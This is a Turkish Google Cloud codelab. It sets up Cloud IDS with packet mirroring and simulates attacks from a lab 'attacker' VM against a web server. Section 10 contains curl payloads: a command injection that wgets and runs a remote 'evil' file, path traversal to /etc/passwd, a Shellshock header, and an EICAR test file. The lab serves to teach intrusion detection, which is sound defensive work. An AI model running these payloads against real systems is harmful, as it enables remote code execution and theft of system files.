Cloud IDS

1. Giriş

Bu laboratuvarda, izinsiz girişlere, kötü amaçlı yazılımlara, casus yazılımlara ve komut-kontrol saldırılarına karşı tehdit algılama özelliği sunan, yeni nesil, gelişmiş bir izinsiz giriş tespit hizmeti olan Cloud IDS'yi dağıtacaksınız. Cloud Console'da birden fazla saldırı simüle edecek ve tehdit ayrıntılarını görüntüleyeceksiniz.

Neler öğreneceksiniz?

  • Cloud IDS uç noktası oluşturma
  • gcloud komutlarıyla 2 sanal makine oluşturma
  • Paket yansıtma politikası oluşturma
  • Bir sanal makineden gelen saldırı trafiğini simüle etme
  • Cloud Console ve Cloud Logging'de tehdit ayrıntılarını görüntüleme

Gerekenler

  • Temel Linux komutları hakkında bilgi

2. Cloud IDS kullanım alanları

Cloud IDS, müşterilerin PCI 11.4 gibi gelişmiş tehdit algılama ve uygunluk gereksinimlerini karşılaması için Google Cloud'da yerel bir Gelecek Nesil Yetkisiz Erişim Algılama Hizmeti (IDS) sunar. Hizmet, Palo Alto Networks'ün tehditlere karşı koruma teknolojileri tarafından desteklenmektedir ve bu sayede gelişmiş izinsiz giriş tespiti özellikleri sunar. Google Cloud'un birinci sınıf altyapısını Palo Alto Networks'ün birinci sınıf güvenlikle birleştiren müşteriler; tümüyle yönetilen, yüksek performans ve en yüksek güvenlik verimliliğine sahip gelişmiş tehdit algılama hizmetinin eşsiz bir birleşimini sunuyor.

Müşteriler buluta geçiş yaparken güvenlik onlar için en önemli konudur. Şirket içi güvenlik denetimlerinin (ör. buluttaki İzinsiz Giriş Algılama Hizmeti (IDS)) kullanılmasını istiyorlar. 3. taraf bir güvenlik çözümü dağıtma ve altyapıyı yönetme ya da kendi imzalarını getirme ile kıyaslandığında dağıtım kolaylığı, yüksek performans ve optimize edilmiş maliyetler için bulutta yerel yönetilen IDS çözümünü kullanmayı kesinlikle tercih ederler. Google Cloud IDS, uçtan uca ve otomatik olarak ölçeklendirilen bir yönetilen IDS hizmeti sunar. Böylece müşterilerin zamanlarını tehditleri analiz edip azaltmaya harcamalarına olanak tanır. Ayrıca, altyapı veya tehdit imzalarını yönetmek için zaman ve kaynak tasarrufu sağlarlar.

Cloud IDS, bant dışında dağıtılır ve tehditleri algılayıp uyarı verebilir ancak tehditleri engelleyemez. Palo Alto Network tehdit algılama motoru kullanılarak analiz edilen ağ trafiğinin bir kopyasını oluşturmak için Google Cloud Paket Yansıtma'dan yararlanır.

3. Codelab topolojisi

5a276f399e1d31e2.png

Şekil 1. Bu laboratuvarda Cloud IDS dağıtımına üst düzey mimariye genel bakış.

4. Kurulum ve Gereksinimler

Kendi hızınızda ortam kurulumu

  1. Google Cloud Console'da oturum açıp yeni bir proje oluşturun veya mevcut bir projeyi yeniden kullanın. Gmail veya Google Workspace hesabınız yoksa hesap oluşturmanız gerekir.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Proje adı, bu projenin katılımcıları için görünen addır. Google API'leri tarafından kullanılmayan bir karakter dizesidir ve bunu istediğiniz zaman güncelleyebilirsiniz.
  • Proje Kimliği, tüm Google Cloud projelerinde benzersiz olmalıdır ve değiştirilemez (belirlendikten sonra değiştirilemez). Cloud Console, otomatik olarak benzersiz bir dize oluşturur. bunun ne olduğunu umursamıyorsunuz. Çoğu codelab'de, Proje Kimliğine referans vermeniz gerekir (ve bu kimlik genellikle PROJECT_ID olarak tanımlanır). Beğenmezseniz başka bir rastgele kod oluşturun ya da kendi proje kimliğinizi deneyip mevcut olup olmadığına bakın. Sıcaklık "soğudu" takip etmeniz gerekir.
  • Bazı API'lerin kullandığı üçüncü bir değer, yani Proje Numarası daha vardır. Bu değerlerin üçü hakkında daha fazla bilgiyi belgelerde bulabilirsiniz.
  1. Ardından, Cloud kaynaklarını/API'lerini kullanmak için Cloud Console'da faturalandırmayı etkinleştirmeniz gerekir. Bu codelab'i çalıştırmanın maliyeti, yüksek değildir. Bu eğitim dışında faturalandırmayla karşılaşmamak için kaynakları kapatmak istiyorsanız tüm "temizleme" işlemlerini uygulayın buradaki talimatları uygulayın. Yeni Google Cloud kullanıcıları, 300 ABD doları değerindeki ücretsiz denemeden yararlanabilir.

Cloud Shell'i başlatma

Google Cloud dizüstü bilgisayarınızdan uzaktan çalıştırılabilse de bu codelab'de, Cloud'da çalışan bir komut satırı ortamı olan Google Cloud Shell'i kullanacaksınız.

GCP Console'da, sağ üstteki araç çubuğunda yer alan Cloud Shell simgesini tıklayın:

bce75f34b2c53987.png

Ortamı sağlamak ve bağlamak yalnızca birkaç dakika sürer. Tamamlandığında şuna benzer bir sonuç görmeniz gerekir:

f6ef2b5f13479f3a.png

İhtiyacınız olan tüm geliştirme araçlarını bu sanal makinede bulabilirsiniz. 5 GB boyutunda kalıcı bir ana dizin sunar ve Google Cloud üzerinde çalışarak ağ performansını ve kimlik doğrulamasını büyük ölçüde iyileştirir. Bu laboratuvardaki tüm çalışmalarınızı yalnızca bir tarayıcıyla yapabilirsiniz.

5. Başlamadan önce

API'leri etkinleştir

Cloud Shell'de proje kimliğinizin ayarlandığından emin olun

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Gerekli tüm hizmetleri etkinleştirin

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. VPC ağı oluştur

VPC Ağı

Cloud Shell'den

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Alt ağ

Cloud Shell'den

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Özel Hizmet Erişimi

Cloud Shell'den

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Özel Hizmet Bağlantısı

Cloud Shell'den

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Güvenlik Duvarı Kuralları

IAP'nin sanal makine örneklerinize bağlanmasına izin vermek için aşağıdaki şartları yerine getiren bir güvenlik duvarı kuralı oluşturun:

  • IAP kullanarak erişilmesini istediğiniz tüm sanal makine örnekleri için geçerlidir.
  • 35.235.240.0/20 IP aralığından giriş trafiğine izin verir. Bu aralık, IAP'nin TCP yönlendirme için kullandığı tüm IP adreslerini içerir.

Cloud Shell'den

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

Sunucuda standart HTTP bağlantı noktası (TCP 80) ve ICMP protokolüne izin vermek için:

  • "server" ağ etiketine sahip kaynaklar için geçerlidir
  • Tüm kaynaklardan girişe izin verir

Cloud Shell'den

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Cloud NAT örneği oluşturma

Cloud Yönlendirici

Cloud Shell'den

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Cloud Shell'den

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Cloud IDS uç noktası oluşturma

Bu bölümde, us-east1 bölgesinde önem derecesi bilgi amaçlı olarak ayarlanmış bir Cloud IDS Uç Noktası oluşturacaksınız. IDS uç noktasının oluşturulması yaklaşık 20 dakika sürer.

IDS Uç Noktası

Cloud Shell'den

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Cloud IDS uç noktasının başlatıldığını doğrulama

gcloud ids endpoints list --project=$PROJECT_ID

Çıkış -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. 2 sanal makine oluşturun

Bu bölümde 2 sanal makine oluşturacaksınız. Bunlardan ilki, Cloud IDS'ye yansıtılan web sunucunuz olacaktır. İkinci sanal makine, saldırı trafiği kaynağınız olacak.

Sanal Makine 1 (Sunucu)

Cloud Shell'den

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Sanal Makine 2 (İstemci)

Cloud Shell'den

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Sunucu hazırlanıyor

Bu görevde sunucunuzu doğrulayacak ve istemciniz için yararlı bir kötü amaçlı yazılım yükü sağlayacaksınız.

Cloud Shell aracılığıyla sanal makineye SSH üzerinden bağlan

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Web hizmetinin çalıştığını doğrulayın

sudo systemctl status nginx

Çıkış - etkin ve çalışır durumda olduğunu doğrulama

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Dizini web hizmeti olarak değiştir

cd /var/www/html/

Web sunucusunda yararlı bir kötü amaçlı yazılım dosyası oluşturun

sudo touch eicar.file

İçeriği yapıştırın

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

CloudShell'e dön

exit

Cloud IDS paket yansıtma politikası oluşturma

IDS Uç Noktası Yönlendirme Kuralı'nı belirleyin ve IDS Uç Noktası durumunun "READY" olduğunu onaylayın.

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Örnek Çıkış - "endpointYönlendirmeRule" değerindeki değeri kopyalama

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

IDS Uç Noktası Yönlendirme Kuralını bir değişkene kaydedin.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Paket Yansıtma Politikası

Cloud Shell'den

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Paket yansıtma politikasının oluşturulduğunu doğrulayın

Cloud Shell'den

gcloud compute packet-mirrorings list

Çıkış

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Saldırı trafiğini simüle et

Saldırgan sanal makinesine SSH ile bağlan (İstemci)

Cloud Shell'den

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Kötü amaçlı trafiği simüle etmek için aşağıdaki curl isteklerini çalıştırın.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

CloudShell'e dönmek için sanal makineden çıkın

exit

11. Cloud IDS tarafından algılanan tehditleri inceleyin

Cloud IDS Kontrol Paneli'ne gitme

Gezinme Menüsü > Ağ Güvenliği > Cloud IDS

37583419aa604aa8.png

Tehditler sekmesine gidin.

b7d934f409b4e2b.png

Gördüğünüz gibi Cloud IDS, çeşitli saldırı trafiği profillerini ele geçirmiş ve her tehditle ilgili ayrıntıları paylaşmıştır. "Yenile"yi tıklamanız gerekebilir. düğmesini tıklayın. Şimdi biraz daha derine inip tehdit ayrıntılarını inceleyeceğiz.

"Bash Remote Code Execution Güvenlik Açığı"nı bulun tehdit ve sağdaki üç noktayı tıklayıp "Tehdit ayrıntılarını göster"i seçin

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Şimdi bu olayın ayrıntılarını Cloud Logging'de görüntüleyeceğiz. Solu gösteren oku tıklayarak Tehditler sayfasına geri dönün .

Sağdaki üç noktayı tıklayın ve "Tehdit günlüklerini göster"i seçin

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Aynı ayrıntılar Cloud Logging'e de sağlanır. Bu sayede günlükleri Cloud Storage, Chronicle veya herhangi bir SIEM/SOAR'a gönderebilirsiniz. Ayrıca, uyarılara göre düzeltme işlemi yapmak için özel iş akışları da oluşturabilirsiniz (ör. bir uyarıda tetiklenen bir Cloud Functions işlevi oluşturabilir ve IP adresini engellemek için bir güvenlik duvarı kuralı oluşturabilir/güncelleyebilir veya bir Cloud Armor politikası oluşturabilir/güncelleyebilir.

12. Temizleme adımları

Sanal makine örneğinden çıkış (tüm sekmeler)

exit

Laboratuvar bileşenlerini tek bir Cloud Shell terminalinden silin

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Tebrikler!

Codelab'i tamamladığınız için tebrikler.

İşlediklerimiz

  • Cloud IDS kullanım alanları
  • Ağ gereksinimleri
  • Desteklenen API'ler
  • Cloud IDS uç noktası oluşturuldu
  • 2 sanal makine dağıtıldı
  • Bir tür "saldırı" gerçekleştirdi istemciden gelen trafik
  • IDS, doğrulanmış tehditler algıladı
  • Tehdit ayrıntılarını ve günlükleri inceleyin